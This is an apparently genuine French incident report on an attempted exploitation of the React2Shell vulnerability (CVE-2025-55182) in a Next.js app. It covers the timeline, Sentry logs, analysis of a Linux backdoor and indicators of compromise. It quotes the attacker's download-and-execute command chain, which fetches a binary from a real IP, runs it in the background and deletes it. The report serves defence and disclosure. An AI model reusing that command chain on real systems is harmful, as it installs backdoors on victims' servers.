
Analyse d'attaque réelle de CVE-2025-55182 (React2Shell) - Vulnérabilité RCE des React Server Components
Analyse d'une attaque réelle sur une application Next.js en production
Le 5 décembre 2025, notre application Next.js en production a été ciblée par des attaquants exploitant CVE-2025-55182 (React2Shell), une vulnérabilité critique d'exécution de code à distance (RCE) dans les composants serveur React. L'attaque a tenté de télécharger et d'exécuter un cheval de Troie porte dérobée Linux sur notre serveur.
| Attribut | Valeur |
|---|---|
| ID CVE | CVE-2025-55182 |
| Score CVSS | 9,8 (Critique) |
| Date de l'attaque | 5 décembre 2025 |
| Résultat de l'attaque | ✅ Bloquée (après correctif) |
| Type de malware | Cheval de Troie porte dérobée Linux |
| Stack affecté | Next.js + Composants serveur React |
CVE-2025-55182, également connue sous le nom de « React2Shell », est une vulnérabilité critique d'exécution de code à distance (RCE) affectant les composants serveur React (RSC) dans :
La vulnérabilité existe dans la fonction renderToReadableStream() du serveur Flight de React. Lors du traitement de charges utiles RSC spécialement conçues, le serveur ne parvient pas à assainir correctement certaines entrées, ce qui conduit à une exécution de code arbitraire.
Attaquant → Charge utile RSC malveillante → Serveur Flight → eval() → RCE
L'attaquant envoie une requête POST conçue avec une charge utile sérialisée malveillante qui est désérialisée et exécutée sur le serveur.
| Horodatage (UTC) | Événement |
|---|---|
| 5 décembre, 06:20 | Première attaque détectée via Sentry |
| 5 décembre, 06:20 | La charge utile tente d'exécuter des commandes shell |
| 5 décembre, 06:20 | Attaque partiellement réussie (avant correctif) |
Journal d'erreur Sentry (avant correctif) :
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
| Horodatage | Action |
|---|---|
| 4 décembre, 14:13 | Mise à niveau vers Next.js 16.0.7 |
| 4 décembre, 14:13 | Déploiement de la version corrigée (v1.0.0-beta-4) |
| Horodatage (UTC) | Événement |
|---|---|
| 5 décembre, 08:48 | Tentative d'attaque détectée |
| 5 décembre, 08:48 | Exécution de la charge utile BLOQUÉE |
| 5 décembre, 08:48 | Erreur : syntax error: unexpected ";" |
Journal d'erreur Sentry (après correctif) :
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
Le correctif a empêché avec succès l'exécution de la commande malveillante.
| Attribut | Valeur |
|---|---|
| URL cible | https://[REDACTED]/ |
| Méthode | POST |
| User-Agent | Python Requests 2.31 |
| Origine | Script d'attaque automatisé |
L'attaquant a tenté d'exécuter la chaîne de commandes suivante :
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
Détail :
| Étape | Commande | Objectif |
|---|---|---|
| 1 | wget http://45.76.155.14/vim -O /tmp/vim | Télécharger le malware |
| 2 | chmod +x /tmp/vim | Rendre exécutable |
| 3 | nohup /tmp/vim > /dev/null 2>&1 & | Exécuter en arrière-plan, persister après déconnexion |
| 4 | rm -f /tmp/vim | Supprimer les preuves |
| Composant | Version |
|---|---|
| OS | Alpine Linux 3.23.0 |
| Runtime | Node.js v20.19.6 |
| Framework | Next.js 16.0.7 (corrigé) |
| Conteneur | Docker |
| Attribut | Valeur |
|---|---|
| Nom de fichier | vim (déguisé en outil légitime) |
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| Type de fichier | ELF 64-bit LSB executable, x86-64 |
| Langage | Go (binaire compilé) |
| Taille du fichier | ~4,7 Mo |
Taux de détection : 13/72 (18 %)
| Éditeur | Nom de détection |
|---|---|
| DrWeb | Linux.BackDoor.Siggen.389 |
| AhnLab-V3 | Backdoor/Linux.Agent.4780032 |
| Kaspersky | HEUR:Trojan.Linux.Agent.gen |
| ESET-NOD32 | Linux/Agent.PX Trojan |
| Avast/AVG | ELF:Agent-BQE [Trj] |
| AliCloud | Trojan:Linux/Agent.ff565f70 |
| Antiy-AVL | Trojan/Linux.Agent.px |
| Rising | Trojan.Agent/Linux!8.13268 |
| SentinelOne | Static AI - Suspicious ELF |
| Tencent | Malware.Linux.Generic.1c03c8b9 |
| Zillya | Trojan.Agent.Linux.5292 |
Lien VirusTotal : Voir l'analyse
En-tête ELF :
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
Capacités identifiées :
| Capacité | Preuve |
|---|---|
| Client HTTP/HTTPS | net/http, *http.Client |
| Chiffrement TLS | crypto/tls, crypto/aes |
| Proxy SOCKS5 | socks, socks5 |
| Résolution DNS | net/dns/dnsmessage |
| Crypto forte | chacha20poly1305, Ed25519 |
Chaînes extraites (pertinentes) :
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
| Sévérité | Règle | Source |
|---|---|---|
| FAIBLE | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| FAIBLE | ET DNS Query for .cc TLD | Proofpoint ET Open |
Type : Cheval de Troie porte dérobée Linux
Capacités :
| Type | Valeur | Description |
|---|---|---|
| Adresse IP | 45.76.155.14 | Serveur de distribution du malware |
| URL | http://45.76.155.14/vim | URL de téléchargement du malware |
| Hébergement | Vultr VPS | Fournisseur cloud |
| TLD | .cc | Le domaine C2 utilise le TLD .cc |
| Type | Valeur |
|---|---|
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| SHA1 | [Calculer si nécessaire] |
| MD5 | [Calculer si nécessaire] |
| Nom de fichier | vim (déguisé) |
| Type de fichier | ELF 64-bit x86-64 |
| Taille du fichier | ~4,7 Mo |